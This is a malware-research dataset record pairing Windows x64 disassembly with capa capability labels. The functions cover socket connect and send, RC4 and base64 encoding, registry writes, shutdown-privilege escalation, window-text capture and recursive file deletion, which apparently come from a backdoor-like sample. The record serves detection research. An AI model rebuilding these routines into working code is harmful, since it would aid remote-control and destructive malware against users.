joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800015e0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x480
mov rax, qword [0x18001c008]
xor rax, rsp
mov qword [rsp + 0x470], rax
mov r14, rcx
mov esi, edx
lea rcx, str.ws2_32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x1800016d5
lea rdx, str.WSAStartup
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x1800016d5
lea rdx, str.getpeername
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, rax
test rax, rax
je 0x1800016d5
mov ecx, 2
lea rdx, [rsp + 0x2d0]
call rdi
mov ebx, 1
nop dword [rax]
movsxd rdi, ebx
lea r8, [rsp + 0x40]
mov rcx, rdi
mov dword [rsp + 0x40], reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x30]
call rbp
test eax, eax
jne 0x1800016cb
mov ecx, dword [rsp + 0x34]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
mov r8, r14
sub r8, rax
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800016b3
inc rax
test ecx, ecx
jne 0x1800016a0
test edx, edx
jne 0x1800016cb
test esi, esi
je 0x1800016ff
movzx ecx, si
call qword [sym.imp.WS2_32.dll_htons]
cmp word [rsp + 0x32], ax
je 0x1800016ff
inc ebx
cmp ebx, 0x10000
jl 0x180001670
xor eax, eax
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1800017c0
lea r11, [rsp + 0x480]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
test ebx, ebx
jle 0x1800016d5
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea r8, [rsp + 0x50]
mov rcx, rdi
mov edx, eax
call qword [sym.imp.WS2_32.dll_WSADuplicateSocketW]
test eax, eax
jne 0x180001795
mov edx, 0xffffffff
mov dword [rsp + 0x28], eax
mov ecx, edx
mov dword [rsp + 0x20], eax
mov r8d, edx
lea r9, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSASocketW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180001795
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
xor r9d, r9d
lea rdx, str.hello_n
mov rcx, rbx
lea r8d, [r9 + 7]
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rbx
call fcn.180001220
cmp eax, 0xffffffff
jne 0x180001763
xor r9d, r9d
lea r8d, [rax + 4]
lea rdx, [0x180019e14]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_send]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1800016d5
mov eax, 0xffffffff
jmp 0x1800016d7
Function at 0x11a1140
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov rbx, rdx
mov rdi, rcx
mov r10, rcx
lea r11, [rdx + 1]
mov esi, 0x56
lea rbp, [0x011d4c20]
nop dword [rax]
movzx r8d, byte [r11 - 1]
movzx r9d, byte [r11]
movzx edx, byte [r11 + 1]
mov eax, r8d
add r10, 4
add r11, 3
shr rax, 2
movzx eax, byte [rax + rbp]
mov byte [r10 - 4], al
movsx eax, r8b
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, r9d
shr eax, 4
or rcx, rax
movzx eax, byte [rcx + rbp]
mov byte [r10 - 3], al
movsx eax, r9b
and eax, 0xf
shl eax, 2
movsxd rcx, eax
mov eax, edx
shr rax, 6
or rcx, rax
movzx eax, byte [rcx + rbp]
mov byte [r10 - 2], al
movsx rax, dl
and eax, 0x3f
dec rsi
movzx eax, byte [rax + rbp]
mov byte [r10 - 1], al
jne 0x11a1170
movzx ecx, byte [rbx + 0x102]
movzx edx, byte [rbx + 0x103]
mov rbx, qword [rsp + 8]
mov eax, ecx
add r10, 4
shr rax, 2
movzx eax, byte [rax + rbp]
mov byte [r10 - 4], al
movsx eax, cl
and eax, 3
shl eax, 4
movsxd rcx, eax
mov eax, edx
shr rax, 4
or rcx, rax
movzx eax, byte [rcx + rbp]
movsx ecx, dl
mov byte [r10 - 3], al
and ecx, 0xf
shl ecx, 2
movsxd rcx, ecx
movzx ecx, byte [rcx + rbp]
mov rbp, qword [rsp + 0x10]
mov byte [r10 - 2], cl
mov byte [r10 - 1], 0x3d
mov byte [r10], sil
mov rsi, qword [rsp + 0x18]
sub r10, rdi
mov rdi, qword [rsp + 0x20]
lea eax, [r10 + 1]
ret

Function at 0x11a17b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x130
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x120], rax
mov rbx, rcx
or rcx, 0xffffffffffffffff
mov rdi, r8
mov r9, r8
xor eax, eax
mov esi, edx
repne scasb al, byte [rdi]
mov rdx, r9
not rcx
lea r8, [rcx - 1]
lea rcx, [rsp + 0x20]
call fcn.011a16c0
xor edx, edx
mov edi, edx
test esi, esi
je 0x11a1878
mov r8d, esi
inc edx
and edx, 0x800000ff
jge 0x11a181a
dec edx
or edx, 0xffffff00
inc edx
movsxd r9, edx
movzx r10d, byte [rsp + r9 + 0x20]
add edi, r10d
and edi, 0x800000ff
jge 0x11a1838
dec edi
or edi, 0xffffff00
inc edi
movsxd rcx, edi
movzx eax, byte [rsp + rcx + 0x20]
mov byte [rsp + r9 + 0x20], al
mov byte [rsp + rcx + 0x20], r10b
movzx ecx, byte [rsp + r9 + 0x20]
add ecx, r10d
and ecx, 0x800000ff
jge 0x11a1865
dec ecx
or ecx, 0xffffff00
inc ecx
movsxd rax, ecx
inc rbx
movzx ecx, byte [rsp + rax + 0x20]
xor byte [rbx - 1], cl
dec r8
jne 0x11a1806
mov rcx, qword [rsp + 0x120]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x11a1c10
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x10], rdx
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov r13, r8
mov r12, rcx
xor ebx, ebx
mov qword [rsp + 0x58], rbx
lea rcx, str.ADVAPI32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
lea rdx, str.RegCreateKeyExA
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.RegSetValueExA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
lea rdx, str.RegDeleteKeyA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegDeleteValueA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.RegOpenKeyExA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
lea rdx, str.RegCloseKey
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
mov qword [rsp + 0x68], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x58]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000001
call r15
test eax, eax
jne 0x11a1d53
lea rax, [rsp + 0x58]
mov qword [rsp + 0x20], rax
mov r9d, 0x2001f
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000001
call r14
test eax, eax
jne 0x11a1d53
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r13
mov r12d, 1
mov r9d, r12d
xor r8d, r8d
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x58]
call qword [rsp + 0x60]
test eax, eax
cmove ebx, r12d
mov rcx, 0xffffffff80000001
call rsi
mov rcx, qword [rsp + 0x58]
call rsi
test rdi, rdi
je 0x11a1d71
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x11a1d90
Capabilities:
Initialize winsock library

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x1d0
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
xor esi, esi
lea rax, [0x011d4d48]
mov rbx, rcx
mov qword [rcx], rax
mov dword [rcx + 0x20], esi
mov qword [rcx + 0x10], rsi
mov qword [rcx + 0x18], rsi
lea rdi, [0x011d4c70]
add rcx, 0x28
mov qword [rcx - 0x20], rdi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0x70]
mov qword [rbx + 0x50], rdi
mov dword [rbx + 0x68], esi
mov qword [rbx + 0x58], rsi
mov qword [rbx + 0x60], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, [rbx + 0xb8]
mov qword [rbx + 0x98], rdi
mov dword [rbx + 0xb0], esi
mov qword [rbx + 0xa0], rsi
mov qword [rbx + 0xa8], rsi
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rdx, [rsp + 0x20]
mov ecx, 0x202
mov qword [rbx + 0x188], rsi
mov dword [rbx + 0x190], esi
call qword [sym.imp.WS2_32.dll_WSAStartup]
lea edx, [rsi + 1]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
xor ecx, ecx
mov byte [rbx + 0x178], sil
mov qword [rbx + 0x168], 0xffffffffffffffff
mov qword [rbx + 0x160], rsi
mov qword [rbx + 0x170], rax
call fcn.011b1680
mov rcx, rax
call fcn.011b163c
mov rax, rbx
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x1d0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x11a1fd0
Capabilities:
Connect socket
Create thread
Get local ipv4 addresses
Get socket information
Resolve dns
Set socket configuration

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xa0
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov esi, r8d
mov rbx, rdx
mov rdi, rcx
call fcn.011a2700
mov rcx, qword [rdi + 0x170]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 1
mov byte [rdi + 0x178], 0
lea ecx, [rdx + 1]
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov qword [rdi + 0x168], rax
cmp rax, 0xffffffffffffffff
jne 0x11a203a
xor al, al
jmp 0x11a21a0
lea r9, [rbp - 1]
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x11a2033
mov rax, qword [rbp - 1]
movzx ecx, si
mov rdx, qword [rax + 0x20]
mov eax, dword [rdx]
mov dword [rbp + 0x1f], eax
mov eax, dword [rdx + 4]
mov dword [rbp + 0x23], eax
mov eax, dword [rdx + 8]
mov dword [rbp + 0x27], eax
mov eax, dword [rdx + 0xc]
mov dword [rbp + 0x2b], eax
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [rbp - 1]
mov word [rbp + 0x21], ax
call qword [sym.imp.WS2_32.dll_freeaddrinfo]
mov rcx, qword [rdi + 0x168]
lea rdx, [rbp + 0x1f]
mov r8d, reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
je 0x11a2033
mov rcx, qword [rdi + 0x168]
xor eax, eax
lea r8, [rbp - 9]
lea rdx, [rbp + 0xf]
mov qword [rbp + 0xf], rax
mov qword [rbp + 0x17], rax
mov dword [rbp - 9], reloc.WS2_32.dll_recv
call qword [sym.imp.WS2_32.dll_getsockname]
lea rcx, [rdi + 0xe0]
xor edx, edx
mov r8d, 0x80
call fcn.011b6520
mov r9d, 0x80
lea r8, [rdi + 0xe0]
lea ecx, [r9 - 0x7e]
lea rdx, [rbp + 0x13]
call qword [sym.imp.WS2_32.dll_inet_ntop]
mov rcx, qword [rdi + 0x168]
lea r9, [rbp - 5]
mov edx, 0xffff
mov r8d, 8
mov dword [rbp - 5], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
xor ebx, ebx
test eax, eax
jne 0x11a2173
mov rcx, qword [rdi + 0x168]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
lea rax, [rbp + 7]
lea r9d, [rbx + 0xc]
lea r8, [rbp + 0x2f]
mov qword [rsp + 0x30], rax
mov edx, 0x98000004
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
mov dword [rbp + 0x2f], 1
mov dword [rbp + 0x33], 0x2bf20
mov dword [rbp + 0x37], 0x1388
call qword [sym.imp.WS2_32.dll_WSAIoctl]
lea r8, [0x011a21c0]
mov r9, rdi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], rbx
mov byte [rdi + 0x178], 1
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rdi + 0x160], rax
mov al, 1
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.011b1250
mov rbx, qword [rsp + 0xd8]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret
Function at 0x11a2700
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rcx, qword [rcx + 0x168]
lea r9, [rsp + 0x40]
mov edx, 0xffff
mov r8d, 0x80
xor ebx, ebx
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rcx, qword [rdi + 0x168]
call qword [sym.imp.KERNEL32.dll_CancelIo]
xchg dword [rdi + 0x178], ebx
mov rcx, qword [rdi + 0x168]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rcx, qword [rdi + 0x170]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov rbx, qword [rsp + 0x48]
mov qword [rdi + 0x168], 0xffffffffffffffff
add rsp, 0x30
pop rdi
ret

Function at 0x11a2ac0
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
xor edi, edi
mov r15d, r8d
mov rsi, rdx
mov r14, rcx
mov ebp, r8d
mov r12d, edi
cmp r8d, 0x300000
jl 0x11a2b64
nop word [rax + rax]
mov ebx, edi
nop word [rax + rax]
mov rcx, qword [r14 + 0x168]
xor r9d, r9d
mov r8d, 0x300000
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov ecx, socket
mov r13d, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test r13d, r13d
jg 0x11a2b43
inc ebx
cmp ebx, 0xf
jl 0x11a2b10
cmp ebx, 0xf
je 0x11a2bcd
sub ebp, 0x300000
add r12d, r13d
add rsi, 0x300000
cmp ebp, 0x300000
jge 0x11a2b00
test ebp, ebp
jle 0x11a2ba6
nop dword [rax + rax]
mov rcx, qword [r14 + 0x168]
xor r9d, r9d
mov r8d, ebp
mov rdx, rsi
call qword [sym.imp.WS2_32.dll_send]
mov ecx, socket
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
test ebx, ebx
jg 0x11a2b9e
inc edi
cmp edi, 0xf
jl 0x11a2b70
cmp edi, 0xf
je 0x11a2bcd
add r12d, ebx
or eax, 0xffffffff
cmp r12d, r15d
cmove eax, r12d
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
or eax, 0xffffffff
jmp 0x11a2bb0

Function at 0x11a2c40
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x50
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x38], rdx
xor r9d, r9d
xor edx, edx
xor ecx, ecx
xor r8d, r8d
mov byte [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_CreateEventA]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x48], rax
xor eax, eax
lea r8, [0x011a2be0]
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, qword [rsp + 0x48]
or edx, 0xffffffff
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
add rsp, 0x50
pop rbx
ret
Function at 0x11a2cb0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x160
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov r12, rcx
lea rcx, str.user32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdi, rax
mov qword [rsp + 0x30], rax
lea rdx, str.GetThreadDesktop
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
lea rdx, str.GetUserObjectInformationA
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x48], rax
lea rdx, str.SetThreadDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
lea rdx, str.CloseDesktop
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
mov qword [rsp + 0x40], rax
lea rdx, [0x011d4dd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov ecx, eax
call rbx
mov r14, rax
mov ebx, 1
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x100
lea r8, [rsp + 0x50]
lea edx, [rbx + 1]
mov rcx, r12
call qword [rsp + 0x48]
test eax, eax
jne 0x11a2d9c
xor ebx, ebx
jmp 0x11a2db1
mov rcx, r12
call r15
test eax, eax
jne 0x11a2daa
xor ebx, ebx
jmp 0x11a2db1
mov rcx, r14
call r13
nop
test rdi, rdi
je 0x11a2dbf
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rsi, rsi
je 0x11a2dcd
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x11a2ec0
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, ecx
lea rcx, str.ADVAPI32.dll
mov r14b, 1
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.OpenProcessToken
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.AdjustTokenPrivileges
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.LookupPrivilegeValueA
mov rcx, rsi
mov r12, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
mov r13, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x011d4e58]
mov rcx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call rbx
test eax, eax
je 0x11a3001
neg ebp
lea r8, [rsp + 0x3c]
lea rdx, str.SeShutdownPrivilege
sbb eax, eax
xor ecx, ecx
mov dword [rsp + 0x38], 1
and eax, 2
mov dword [rsp + 0x44], eax
call r13
mov rcx, qword [rsp + 0x30]
xor ebp, ebp
lea r8, [rsp + 0x38]
xor edx, edx
lea r9d, [rbp + 0x10]
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rbp
call r12
lea rcx, [0x011d4e70]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, [0x011d4e80]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rcx, qword [rsp + 0x30]
movzx ebx, r14b
test eax, eax
cmovne ebx, ebp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x11a2ff0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
test rdi, rdi
je 0x11a2ffe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movzx eax, bl
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsp, r11
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x11a3030
Capabilities:
Get graphical window text

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x40
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x11a3170
call qword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x11a3170
test rsi, rsi
je 0x11a3170
mov qword [rsp + 0x70], r12
lea rdx, [rsp + 0x60]
xor r12d, r12d
mov rcx, rbx
mov dword [rsp + 0x60], r12d
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [rsp + 0x60], eax
jne 0x11a3091
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp edi, eax
jne 0x11a30b0
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov r12, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
mov edi, 0x104
mov eax, 2
mov qword [rsp + 0x68], rbp
mov qword [rsp + 0x78], r13
mov r13, 0xffffffffffffffff
mul rdi
cmovo rax, r13
mov rcx, rax
call fcn.011b16e0
mov r8d, edi
mov rcx, rbx
mov rdx, rax
mov rbp, rax
call qword [sym.imp.USER32.dll_InternalGetWindowText]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov r9d, r13d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
cmp eax, edi
jg 0x11a315f
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], eax
mov r9d, r13d
mov r8, rbp
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, eax
test rbp, rbp
je 0x11a3146
mov rcx, rbp
call fcn.011b16e8
mov eax, ebx
mov rbp, qword [rsp + 0x68]
mov r13, qword [rsp + 0x78]
mov r12, qword [rsp + 0x70]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret
test rbp, rbp
je 0x11a316c
mov rcx, rbp
call fcn.011b16e8
xor eax, eax
jmp 0x11a3148
mov r8d, 0x104
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.USER32.dll_GetWindowTextA]
add rsp, 0x40
pop rdi
pop rsi
pop rbx
ret

Function at 0x11a3190
Capabilities:
Get common file path
Get startup folder

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x260
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rdx
call fcn.011a3470
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 7]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea r8, [rsp + 0x20]
lea rdx, [0x011d4e90]
lea rcx, [rsp + 0x30]
call fcn.011b199c
xor ebx, ebx
test rax, rax
je 0x11a3207
cmp ebx, 2
je 0x11a3207
lea r8, [rsp + 0x20]
lea rdx, [0x011d4e90]
xor ecx, ecx
call fcn.011b199c
inc ebx
test rax, rax
jne 0x11a31e8
lea rdx, str.C:Users_s_s
lea rcx, [rsp + 0x140]
mov r9, rdi
mov r8, rax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x140]
call fcn.011a3260
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.011b1250
mov rbx, qword [rsp + 0x280]
add rsp, 0x260
pop rdi
ret
Function at 0x11a3260
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xf8]
sub rsp, 0x1f0
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rdi
mov rax, qword [0x011dd020]
xor rax, rsp
mov qword [rbp + 0xe0], rax
mov rbx, rcx
mov qword [rsp + 0x40], select
mov qword [rsp + 0x38], 0
mov byte [rsp + 0x28], 0
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, rbx
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, rbx
lea rcx, [rsp + 0x28]
call fcn.011a4010
nop
mov rax, qword [rsp + 0x38]
lea rcx, [rax - 1]
cmp rax, rcx
ja 0x11a32e9
lea rcx, str.invalid_string_position
call fcn.011be0c0
int3
lea rax, [rsp + 0x28]
cmp qword [rsp + 0x40], 0x10
cmovae rax, qword [rsp + 0x28]
cmp byte [rax + rcx], 0x5c
je 0x11a330a
lea rcx, [rsp + 0x28]
call fcn.011a3590
lea r8, [0x011d4ea8]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x50]
call fcn.011a3770
cmp qword [rax + 0x18], 0x10
jb 0x11a332a
mov rax, qword [rax]
lea rdx, [rbp - 0x60]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rdi, rax
cmp qword [rsp + 0x68], 0x10
jb 0x11a334c
mov rcx, qword [rsp + 0x50]
call fcn.011b1270
mov qword [rsp + 0x68], select
mov qword [rsp + 0x60], 0
mov byte [rsp + 0x50], 0
cmp rdi, 0xffffffffffffffff
jne 0x11a3382
cmp qword [rsp + 0x40], 0x10
jb 0x11a337b
mov rcx, qword [rsp + 0x28]
call fcn.011b1270
xor al, al
jmp 0x11a344c
test byte [rbp - 0x60], 0x10
je 0x11a33d9
lea rdx, [0x011d4eac]
lea rcx, [rbp - 0x34]
call fcn.011b1bb0
test eax, eax
je 0x11a3410
lea rdx, [0x011d4eb0]
lea rcx, [rbp - 0x34]
call fcn.011b1bb0
test eax, eax
je 0x11a3410
lea r8, [rbp - 0x34]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.011a3770
nop
cmp qword [rax + 0x18], 0x10
jb 0x11a33ce
mov rax, qword [rax]
mov rcx, rax
call fcn.011a3260
nop
jmp 0x11a33ff
lea r8, [rbp - 0x34]
lea rdx, [rsp + 0x28]
lea rcx, [rsp + 0x78]
call fcn.011a3770
cmp qword [rax + 0x18], 0x10
jb 0x11a33f6
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp qword [rbp - 0x70], 0x10
jb 0x11a3410
mov rcx, qword [rsp + 0x78]
call fcn.011b1270
lea rdx, [rbp - 0x60]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x11a3382
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
nop
cmp qword [rsp + 0x40], 0x10
jb 0x11a344a
mov rcx, qword [rsp + 0x28]
call fcn.011b1270
mov al, 1
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.011b1250
lea r11, [rsp + 0x1f0]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret